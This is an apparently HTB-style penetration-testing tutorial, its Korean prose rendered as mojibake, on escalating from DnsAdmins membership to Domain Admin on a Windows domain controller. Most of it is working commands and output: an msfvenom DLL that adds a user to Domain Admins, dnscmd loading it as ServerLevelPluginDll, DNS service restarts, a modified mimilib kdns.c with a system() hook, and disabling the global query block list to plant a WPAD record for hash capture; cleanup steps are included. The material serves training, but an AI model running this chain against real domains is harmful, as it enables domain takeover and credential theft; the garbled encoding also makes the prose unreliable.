DNS Admin
DnsAdmins ๊ทธ๋ฃน์ ๊ตฌ์ฑ์์ ๋คํธ์ํฌ์ DNS ์ ๋ณด์ ์ก์ธ์คํ ์ ์์ต๋๋ค. Windows DNS ์๋น์ค๋ ์ฌ์ฉ์ ์ง์ ํ๋ฌ๊ทธ์ธ์ ์ง์ํ๋ฉฐ, ๋ก์ปฌ๋ก ํธ์คํ
๋ DNS ์์ญ์ ๋ฒ์์ ์ํ์ง ์๋ ์ด๋ฆ ์ฟผ๋ฆฌ๋ฅผ ํด๊ฒฐํ๊ธฐ ์ํด ํ๋ฌ๊ทธ์ธ์์ ํจ์๋ฅผ ํธ์ถํ ์ ์์ต๋๋ค. DNS ์๋น์ค๋ NT AUTHORITY\SYSTEM์ผ๋ก
์คํ๋๋ฏ๋ก ์ด ๊ทธ๋ฃน์ ๊ตฌ์ฑ์์ ๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ์ ๋ํ ๊ถํ์ ์์ค์ปฌ๋ ์ด์
ํ๊ฑฐ๋ ๋ณ๋์ ์๋ฒ๊ฐ ๋๋ฉ์ธ์ DNS ์๋ฒ๋ก ์๋ํ๋ ์ํฉ์์ ์ ์ฌ์ ์ผ๋ก ํ์ฉ๋ ์ ์์ต๋๋ค. ๋ด์ฅ๋ dnscmd ์ ํธ๋ฆฌํฐ๋ฅผ ์ฌ์ฉํ์ฌ ํ๋ฌ๊ทธ์ธ DLL์ ๊ฒฝ๋ก๋ฅผ ์ง์ ํ ์ ์์ต๋๋ค. ์ด ํ๋ฅญํ ๊ฒ์๋ฌผ์ ์์ธํ ์ค๋ช
๋ ๋๋ก ๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ์์ DNS๊ฐ ์คํ๋ ๋ ๋ค์๊ณผ ๊ฐ์ ๊ณต๊ฒฉ์ ์ํํ ์ ์์ต๋๋ค(๋งค์ฐ ์ผ๋ฐ์ ์):
DNS ๊ด๋ฆฌ๋ RPC๋ฅผ ํตํด ์ํ๋ฉ๋๋ค.
ServerLevelPluginDll์ ์ฌ์ฉํ๋ฉด DLL ๊ฒฝ๋ก๋ฅผ ํ์ธํ์ง ์๊ณ ๋ ์ฌ์ฉ์ ์ ์ DLL์ ๋ก๋ํ ์ ์์ต๋๋ค. ์ด ์์ ์ ๋ช ๋ น์ค์์
dnscmd
๋๊ตฌ๋ฅผ ์ฌ์ฉํ์ฌ ์ํํ ์ ์์ต๋๋ค.DnsAdmins
๊ทธ๋ฃน์ ๊ตฌ์ฑ์์ด ์๋dnscmd
๋ช ๋ น์ ์คํํ๋ฉดHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\์๋น์ค์\DNS\ํ๋ผ๋ฏธํฐ\์๋ฒ๋ ๋ฒจํ๋ฌ๊ทธ์ธDll
๋ ์ง์คํธ๋ฆฌ ํค๊ฐ ์ฑ์์ง๋๋ค.DNS ์๋น์ค๊ฐ ๋ค์ ์์๋๋ฉด ์ด ๊ฒฝ๋ก์ ์๋ DLL(์ฆ, ๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ์ ์ปดํจํฐ ๊ณ์ ์ด ์ก์ธ์คํ ์ ์๋ ๋คํธ์ํฌ ๊ณต์ )์ด ๋ก๋๋ฉ๋๋ค.
๊ณต๊ฒฉ์๋ ์ฌ์ฉ์ ์ง์ DLL์ ๋ก๋ํ์ฌ ๋ฆฌ๋ฒ์ค ์ ธ์ ์ป๊ฑฐ๋ Mimikatz์ ๊ฐ์ ํด์ DLL๋ก ๋ก๋ํ์ฌ ์๊ฒฉ ์ฆ๋ช ์ ๋คํํ ์๋ ์์ต๋๋ค.
DnsAdmins ์ก์ธ์ค ํ์ฉ
์ ์ฑ DLL ์์ฑ
์
์ฑ DLL์ ์์ฑํ์ฌ msfvenom์
์ฌ์ฉํ์ฌ ๋๋ฉ์ธ ๊ด๋ฆฌ์
๊ทธ๋ฃน์ ์ฌ์ฉ์๋ฅผ ์ถ๊ฐํ ์ ์์ต๋๋ค.
์ ์ฑ DLL ์์ฑ
realblackcat@htb[/htb]$ msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 313 bytes
Final size of dll file: 5120 bytes
Saved as: adduser.dll
๋ก์ปฌ HTTP ์๋ฒ ์์
๋ค์์ผ๋ก Python HTTP ์๋ฒ๋ฅผ ์์ํฉ๋๋ค.
๋ก์ปฌ HTTP ์๋ฒ ์์
realblackcat@htb[/htb]$ python3 -m http.server 7777
Serving HTTP on 0.0.0.0 port 7777 (http://0.0.0.0:7777/) ...
10.129.43.9 - - [19/May/2021 19:22:46] "GET /adduser.dll HTTP/1.1" 200 -
Others : smbserver ์์, ํ์ผ ๋ค์ด
root@kali: smbserver.py s .
*Evil-WinRM* PS C:\Users\ryan\Documents> dnscmd.exe /config /serverlevelplugindll \\10.10.14.3\s\rev.dll
Target์ ํ์ผ ๋ค์ด๋ก๋
๋์์ ํ์ผ์ ๋ค์ด๋ก๋ํฉ๋๋ค.
Target์ ํ์ผ ๋ค์ด๋ก๋
PS C:\htb> wget "http://10.10.14.3:7777/adduser.dll" -outfile "adduser.dll"
๋จผ์ ๊ถํ์ด ์๋ ์ฌ์ฉ์๋ก dnscmd
์ ํธ๋ฆฌํฐ๋ฅผ ์ฌ์ฉํ์ฌ ์ฌ์ฉ์ ์ง์ DLL์ ๋ก๋ํ๋ฉด ์ด๋ค ์ผ์ด ๋ฐ์ํ๋์ง ์ดํด ๋ณด๊ฒ ์ต๋๋ค.
๋น๊ถํ ์ฌ์ฉ์๋ก DLL ๋ก๋ํ๊ธฐ
๋น๊ถํ ์ฌ์ฉ์๋ก DLL ๋ก๋ํ๊ธฐ
C:\htb> dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll
DNS Server failed to reset registry property.
Status = 5 (0x00000005)
Command failed: ERROR_ACCESS_DENIED
์์๋๋ก ์ผ๋ฐ ์ฌ์ฉ์๋ก ์ด ๋ช
๋ น์ ์คํํ๋ ค๊ณ ํ๋ฉด ์ฑ๊ณตํ์ง ๋ชปํฉ๋๋ค. ์ด ๋ช
๋ น์ DnsAdmins
๊ทธ๋ฃน์ ๊ตฌ์ฑ์๋ง ์ํํ ์ ์์ต๋๋ค.
DnsAdmin์ ๊ตฌ์ฑ์์ผ๋ก DLL ๋ก๋ํ๊ธฐ
DnsAdmin์ ๊ตฌ์ฑ์์ผ๋ก DLL ๋ก๋ํ๊ธฐ
C:\htb> Get-ADGroupMember -Identity DnsAdmins
distinguishedName : CN=netadm,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
name : netadm
objectClass : user
objectGUID : 1a1ac159-f364-4805-a4bb-7153051a8c14
SamAccountName : netadm
SID : S-1-5-21-669053619-2741956077-1013132368-1109
์ฌ์ฉ์ ์ง์ DLL ๋ก๋
DnsAdmins
๊ทธ๋ฃน์์ ๊ทธ๋ฃน ๋ฉค๋ฒ์ญ์ ํ์ธํ ํ ๋ช
๋ น์ ๋ค์ ์คํํ์ฌ ์ฌ์ฉ์ ์ง์ DLL์ ๋ก๋ํ ์ ์์ต๋๋ค.
์ฌ์ฉ์ ์ง์ DLL ๋ก๋
C:\htb> dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll
Registry property serverlevelplugindll successfully reset.
Command completed successfully.
์ฐธ๊ณ : ์ฌ์ฉ์ ์ง์ DLL์ ์ ์ฒด ๊ฒฝ๋ก๋ฅผ ์ง์ ํด์ผ ํ๋ฉฐ, ๊ทธ๋ ์ง ์์ผ๋ฉด ๊ณต๊ฒฉ์ด ์ ๋๋ก ์๋ํ์ง ์์ต๋๋ค.
๋ ์ง์คํธ๋ฆฌ ํค์ ๋ํ ์ง์ ์ ์ธ ๊ถํ์ด ์์ผ๋ฏ๋ก DnsAdmins
๊ทธ๋ฃน์ ๊ตฌ์ฑ์๋ง dnscmd
์ ํธ๋ฆฌํฐ๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค.
์ ์ฑ ํ๋ฌ๊ทธ์ธ์ ๊ฒฝ๋ก๊ฐ ํฌํจ๋ ๋ ์ง์คํธ๋ฆฌ ์ค์ ์ด ๊ตฌ์ฑ๋๊ณ ํ์ด๋ก๋๊ฐ ์์ฑ๋๋ฉด ๋ค์์ DNS ์๋น์ค๊ฐ ์์๋ ๋ DLL์ด ๋ก๋๋ฉ๋๋ค. DnsAdmins ๊ทธ๋ฃน์ ๊ตฌ์ฑ์์ด๋ผ๊ณ ํด์ DNS ์๋น์ค๋ฅผ ๋ค์ ์์ํ ์ ์๋ ๊ถํ์ ์์ง๋ง, ์์คํ ๊ด๋ฆฌ์๊ฐ DNS ๊ด๋ฆฌ์์๊ฒ ์ด ์์ ์ ํ์ฉํ ์ ์์ต๋๋ค.
DNS ์๋น์ค๋ฅผ ๋ค์ ์์ํ ํ(์ฌ์ฉ์์๊ฒ ์ด ์์ค์ ์ก์ธ์ค ๊ถํ์ด ์๋ ๊ฒฝ์ฐ) ์ฌ์ฉ์ ์ง์ DLL์ ์คํํ๊ณ ์ฌ์ฉ์๋ฅผ ์ถ๊ฐํ๊ฑฐ๋(์ฐ๋ฆฌ์ ๊ฒฝ์ฐ) ๋ฆฌ๋ฒ์ค ์ ธ์ ๊ฐ์ ธ์ฌ ์ ์์ด์ผ ํฉ๋๋ค. DNS ์๋ฒ๋ฅผ ๋ค์ ์์ํ ์ ์๋ ์ก์ธ์ค ๊ถํ์ด ์๋ ๊ฒฝ์ฐ ์๋ฒ ๋๋ ์๋น์ค๊ฐ ๋ค์ ์์๋ ๋๊น์ง ๊ธฐ๋ค๋ ค์ผ ํฉ๋๋ค. DNS ์๋น์ค์ ๋ํ ํ์ฌ ์ฌ์ฉ์์ ๊ถํ์ ํ์ธํด ๋ณด๊ฒ ์ต๋๋ค.
์ฌ์ฉ์ SID ์ฐพ๊ธฐ
๋จผ์ ์ฌ์ฉ์์ SID๊ฐ ํ์ํฉ๋๋ค.
์ฌ์ฉ์ SID ์ฐพ๊ธฐ
C:\htb> wmic useraccount where name="netadm" get sid
SID
S-1-5-21-669053619-2741956077-1013132368-1109
DNS ์๋น์ค์ ๋ํ ๊ถํ ํ์ธ
์ฌ์ฉ์์ SID๋ฅผ ์๋ฉด sc
๋ช
๋ น์ ์ฌ์ฉํ์ฌ ์๋น์ค์ ๋ํ ๊ถํ์ ํ์ธํ ์ ์์ต๋๋ค. ์ด ๋ฌธ์์ ๋ฐ๋ฅด๋ฉด ์ฌ์ฉ์์๊ฒ ๊ฐ๊ฐ SERVICE_START
๋ฐ SERVICE_STOP์ผ๋ก
๋ณํ๋๋ RPWP
๊ถํ์ด ์์์ ์ ์ ์์ต๋๋ค.
DNS ์๋น์ค์ ๋ํ ๊ถํ ํ์ธ
C:\htb> sc.exe sdshow DNS
D:(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SO)(A;;RPWP;;;S-1-5-21-669053619-2741956077-1013132368-1109)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
Windows์ SDDL ๊ตฌ๋ฌธ์ ๋ํ ์ค๋ช
์ Windows ๊ธฐ์ด
๋ชจ๋์ ์ฐธ์กฐํ์ธ์.
DNS ์๋น์ค ์ค์ง
์ด๋ฌํ ๊ถํ์ ํ์ธํ ํ ๋ค์ ๋ช ๋ น์ ์คํํ์ฌ ์๋น์ค๋ฅผ ์ค์งํ๊ณ ์์ํ ์ ์์ต๋๋ค.
DNS ์๋น์ค ์ค์ง
C:\htb> sc stop dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 3 STOP_PENDING
(STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x1
WAIT_HINT : 0x7530
DNS ์๋น์ค๊ฐ ์ฌ์ฉ์ ์ง์ DLL์ ์์ํ๊ณ ์คํํ๋ ค๊ณ ์๋ํ์ง๋ง ์ํ๋ฅผ ํ์ธํ๋ฉด ์ฌ๋ฐ๋ฅด๊ฒ ์์ํ์ง ๋ชปํ ๊ฒ์ผ๋ก ํ์๋ฉ๋๋ค(๋์ค์ ์์ธํ ์ค๋ช ํฉ๋๋ค).
DNS ์๋น์ค ์์
DNS ์๋น์ค ์์
C:\htb> sc start dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 6960
FLAGS :
๊ทธ๋ฃน ๋ฉค๋ฒ์ญ ํ์ธ
๋ชจ๋ ๊ฒ์ด ๊ณํ๋๋ก ์งํ๋๋ฉด ๊ณ์ ์ด ๋๋ฉ์ธ ๊ด๋ฆฌ์ ๊ทธ๋ฃน์ ์ถ๊ฐ๋๊ฑฐ๋ ์ฐ๊ฒฐ์ ๋ค์ ์ ๊ณตํ๊ธฐ ์ํด ์ฌ์ฉ์ ์ง์ DLL์ ๋ง๋ ๊ฒฝ์ฐ ๋ฆฌ๋ฒ์ค ์ ธ์ ๋ฐ๊ฒ ๋ฉ๋๋ค.
๊ทธ๋ฃน ๋ฉค๋ฒ์ญ ํ์ธ
C:\htb> net group "Domain Admins" /dom
Group name Domain Admins
Comment Designated administrators of the domain
Members
-------------------------------------------------------------------------------
Administrator netadm
The command completed successfully.
์ ๋ฆฌ
๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ์์ ๊ตฌ์ฑ์ ๋ณ๊ฒฝํ๊ณ DNS ์๋น์ค๋ฅผ ์ค์ง/์ฌ์์ํ๋ ๊ฒ์ ๋งค์ฐ ํ๊ดด์ ์ธ ์์ ์ด๋ฏ๋ก ๋งค์ฐ ์ ์คํ๊ฒ ์ํํด์ผ ํฉ๋๋ค. ์นจํฌ ํ ์คํฐ๋ก์ ์ด๋ฌํ ์ ํ์ ์์ ์ ์งํํ๊ธฐ ์ ์ ํด๋ผ์ด์ธํธ๊ฐ ๋จผ์ ์คํํด์ผ ํ๋๋ฐ, ์ด๋ ์ ์ฌ์ ์ผ๋ก ์ ์ฒด Active Directory ํ๊ฒฝ์ DNS๋ฅผ ๋ค์ด์ํค๊ณ ๋ง์ ๋ฌธ์ ๋ฅผ ์ผ์ผํฌ ์ ์๊ธฐ ๋๋ฌธ์ ๋๋ค. ๊ณ ๊ฐ์ด ์ด ๊ณต๊ฒฉ์ ์งํํ๋๋ก ํ๋ฝํ๋ ๊ฒฝ์ฐ, ์ ํฌ๋ ํ์ ์ ๋จ๊ธฐ์ง ์๊ณ ์ง์ ์ ๋ฆฌํ๊ฑฐ๋ ๊ณ ๊ฐ์๊ฒ ๋ณ๊ฒฝ ์ฌํญ์ ๋๋๋ฆด ์ ์๋ ๋จ๊ณ๋ฅผ ์ ๊ณตํ ์ ์์ด์ผ ํฉ๋๋ค.
์ด๋ฌํ ๋จ๊ณ๋ ๋ก์ปฌ ๋๋ ๋๋ฉ์ธ ๊ด๋ฆฌ์ ๊ณ์ ์ผ๋ก ์์น๋ ์ฝ์์์ ์ํํด์ผ ํฉ๋๋ค.
๋ ์ง์คํธ๋ฆฌ ํค ์ถ๊ฐ ํ์ธ
์ฒซ ๋ฒ์งธ ๋จ๊ณ๋ ServerLevelPluginDll
๋ ์ง์คํธ๋ฆฌ ํค๊ฐ ์กด์ฌํ๋์ง ํ์ธํ๋ ๊ฒ์
๋๋ค. ์ฌ์ฉ์ ์ง์ DLL์ ์ ๊ฑฐํ๊ธฐ ์ ๊น์ง๋ DNS ์๋น์ค๋ฅผ ๋ค์ ์ฌ๋ฐ๋ฅด๊ฒ ์์ํ ์ ์์ต๋๋ค.
๋ ์ง์คํธ๋ฆฌ ํค ์ถ๊ฐ ํ์ธ
C:\htb> reg query \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters
GlobalQueryBlockList REG_MULTI_SZ wpad\0isatap
EnableGlobalQueryBlockList REG_DWORD 0x1
PreviousLocalHostname REG_SZ WINLPE-DC01.INLANEFREIGHT.LOCAL
Forwarders REG_MULTI_SZ 1.1.1.1\08.8.8.8
ForwardingTimeout REG_DWORD 0x3
IsSlave REG_DWORD 0x0
BootMethod REG_DWORD 0x3
AdminConfigured REG_DWORD 0x1
ServerLevelPluginDll REG_SZ adduser.dll
๋ ์ง์คํธ๋ฆฌ ํค ์ญ์
reg ์ญ์
๋ช
๋ น์ ์ฌ์ฉํ์ฌ ์ฌ์ฉ์ ์ง์ DLL์ ๊ฐ๋ฆฌํค๋ ํค๋ฅผ ์ ๊ฑฐํ ์ ์์ต๋๋ค.
๋ ์ง์คํธ๋ฆฌ ํค ์ญ์
C:\htb> reg delete \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll
Delete the registry value ServerLevelPluginDll (Yes/No)? Y
The operation completed successfully.
DNS ์๋น์ค ๋ค์ ์์
์ด ์์ ์ด ์๋ฃ๋๋ฉด DNS ์๋น์ค๋ฅผ ๋ค์ ์์ํ ์ ์์ต๋๋ค.
DNS ์๋น์ค ๋ค์ ์์
C:\htb> sc.exe start dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 4984
FLAGS :
DNS ์๋น์ค ์ํ ํ์ธ
๋ชจ๋ ๊ฒ์ด ๊ณํ๋๋ก ์งํ๋์๋ค๋ฉด DNS ์๋น์ค๋ฅผ ์ฟผ๋ฆฌํ๋ฉด ์คํ ์ค์์ ์ ์ ์์ต๋๋ค. ๋ํ ๋ก์ปฌ ํธ์คํธ ๋๋ ๋๋ฉ์ธ์ ๋ค๋ฅธ ํธ์คํธ์ ๋ํด nslookup์
์ํํ์ฌ DNS๊ฐ ํ๊ฒฝ ๋ด์์ ์ฌ๋ฐ๋ฅด๊ฒ ์๋ํ๊ณ ์๋์ง ํ์ธํ ์ ์์ต๋๋ค.
DNS ์๋น์ค ์ํ ํ์ธ
C:\htb> sc query dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 4 RUNNING
(STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
๋ค์ ํ ๋ฒ ๊ฐ์กฐํ์ง๋ง, ์ด๋ ์ ์ฌ์ ์ผ๋ก ํ๊ดด์ ์ธ ๊ณต๊ฒฉ์ด๋ฏ๋ก ๊ณ ๊ฐ์ ๋ช ์์ ์ธ ํ๊ฐ๋ฅผ ๋ฐ๊ณ ๊ณ ๊ฐ๊ณผ ํ๋ ฅํ์ฌ ์ํํด์ผ ํฉ๋๋ค. ๊ณ ๊ฐ์ด ์ํ์ ์ดํดํ๊ณ ์ ์ฒด ๊ฐ๋ ์ฆ๋ช ์ ๋ณด๊ณ ์ ํ๋ ๊ฒฝ์ฐ ์ด ์น์ ์ ์ค๋ช ๋ ๋จ๊ณ์ ๋ฐ๋ผ ๊ณต๊ฒฉ์ ์์ฐํ๊ณ ์ดํ์ ์ ๋ฆฌํ๋ ๋ฐ ๋์์ด ๋ ๊ฒ์ ๋๋ค.
Mimilib.dll ์ฌ์ฉ
์ด ๊ฒ์๋ฌผ์์ ์์ธํ ์ค๋ช
ํ ๊ฒ์ฒ๋ผ, Mimikatz
๋๊ตฌ ๊ฐ๋ฐ์๊ฐ ๋ง๋ mimilib.dll์ ํ์ฉํ์ฌ ์ญ์
ธ ์๋ผ์ด๋ ๋๋ ์ํ๋ ๋ค๋ฅธ ๋ช
๋ น์ ์คํํ๋๋ก kdns.c ํ์ผ์ ์์ ํ์ฌ ๋ช
๋ น ์คํ ๊ถํ์ ์ป์ ์๋ ์์ต๋๋ค.
์ฝ๋: c
/* Benjamin DELPY `gentilkiwi`
https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
#include "kdns.h"
DWORD WINAPI kdns_DnsPluginInitialize(PLUGIN_ALLOCATOR_FUNCTION pDnsAllocateFunction, PLUGIN_FREE_FUNCTION pDnsFreeFunction)
{
return ERROR_SUCCESS;
}
DWORD WINAPI kdns_DnsPluginCleanup()
{
return ERROR_SUCCESS;
}
DWORD WINAPI kdns_DnsPluginQuery(PSTR pszQueryName, WORD wQueryType, PSTR pszRecordOwnerName, PDB_RECORD *ppDnsRecordListHead)
{
FILE * kdns_logfile;
#pragma warning(push)
#pragma warning(disable:4996)
if(kdns_logfile = _wfopen(L"kiwidns.log", L"a"))
#pragma warning(pop)
{
klog(kdns_logfile, L"%S (%hu)\n", pszQueryName, wQueryType);
fclose(kdns_logfile);
system("ENTER COMMAND HERE");
}
return ERROR_SUCCESS;
}
WPAD ๋ ์ฝ๋ ๋ง๋ค๊ธฐ
DnsAdmins ๊ทธ๋ฃน ๊ถํ์ ๋จ์ฉํ๋ ๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ WPAD ๋ ์ฝ๋๋ฅผ ๋ง๋๋ ๊ฒ์ ๋๋ค. ์ด ๊ทธ๋ฃน์ ๋ฉค๋ฒ๊ฐ ๋๋ฉด ๊ธฐ๋ณธ์ ์ผ๋ก ์ด ๊ณต๊ฒฉ์ ์ฐจ๋จํ๋ ๊ธ๋ก๋ฒ ์ฟผ๋ฆฌ ์ฐจ๋จ ๋ณด์์ ๋นํ์ฑํํ ์ ์๋ ๊ถํ์ด ๋ถ์ฌ๋ฉ๋๋ค. Server 2008์์๋ DNS ์๋ฒ์ ์ ์ญ ์ฟผ๋ฆฌ ์ฐจ๋จ ๋ชฉ๋ก์ ์ถ๊ฐํ๋ ๊ธฐ๋ฅ์ด ์ฒ์ ๋์ ๋์์ต๋๋ค. ๊ธฐ๋ณธ์ ์ผ๋ก WPAD(์น ํ๋ก์ ์๋ ๊ฒ์ ํ๋กํ ์ฝ)์ ISATAP(์ฌ์ดํธ ๋ด ์๋ ํฐ๋ ์ฃผ์ ์ง์ ํ๋กํ ์ฝ)๊ฐ ๊ธ๋ก๋ฒ ์ฟผ๋ฆฌ ์ฐจ๋จ ๋ชฉ๋ก์ ์์ต๋๋ค. ์ด๋ฌํ ํ๋กํ ์ฝ์ ํ์ด์ฌํน์ ๋งค์ฐ ์ทจ์ฝํ๋ฉฐ, ๋ชจ๋ ๋๋ฉ์ธ ์ฌ์ฉ์๋ ์ด๋ฌํ ์ด๋ฆ์ด ํฌํจ๋ ์ปดํจํฐ ๊ฐ์ฒด ๋๋ DNS ๋ ์ฝ๋๋ฅผ ๋ง๋ค ์ ์์ต๋๋ค.
๊ธ๋ก๋ฒ ์ฟผ๋ฆฌ ์ฐจ๋จ ๋ชฉ๋ก์ ๋นํ์ฑํํ๊ณ WPAD ๋ ์ฝ๋๋ฅผ ์์ฑํ๋ฉด ๊ธฐ๋ณธ ์ค์ ์ผ๋ก WPAD๋ฅผ ์คํํ๋ ๋ชจ๋ ๋จธ์ ์ด ๊ณต๊ฒฉ ๋จธ์ ์ ํตํด ํธ๋ํฝ์ ํ๋ก์ํ๊ฒ ๋ฉ๋๋ค. Responder ๋๋ Inveigh์ ๊ฐ์ ๋๊ตฌ๋ฅผ ์ฌ์ฉํ์ฌ ํธ๋ํฝ ์คํธํ์ ์ํํ๊ณ ๋น๋ฐ๋ฒํธ ํด์๋ฅผ ์บก์ฒํ์ฌ ์คํ๋ผ์ธ์์ ํฌ๋ํนํ๊ฑฐ๋ SMBRelay ๊ณต๊ฒฉ์ ์ํํ ์ ์์ต๋๋ค.
๊ธ๋ก๋ฒ ์ฟผ๋ฆฌ ์ฐจ๋จ ๋ชฉ๋ก ๋นํ์ฑํํ๊ธฐ
์ด ๊ณต๊ฒฉ์ ์ค์ ํ๊ธฐ ์ํด ๋จผ์ ๊ธ๋ก๋ฒ ์ฟผ๋ฆฌ ์ฐจ๋จ ๋ชฉ๋ก์ ๋นํ์ฑํํ์ต๋๋ค:
๊ธ๋ก๋ฒ ์ฟผ๋ฆฌ ์ฐจ๋จ ๋ชฉ๋ก ๋นํ์ฑํํ๊ธฐ
C:\htb> Set-DnsServerGlobalQueryBlockList -Enable $false -ComputerName dc01.inlanefreight.local
WPAD ๋ ์ฝ๋ ์ถ๊ฐ
๋ค์์ผ๋ก ๊ณต๊ฒฉ ๋จธ์ ์ ๊ฐ๋ฆฌํค๋ WPAD ๋ ์ฝ๋๋ฅผ ์ถ๊ฐํฉ๋๋ค.
WPAD ๋ ์ฝ๋ ์ถ๊ฐ
Last updated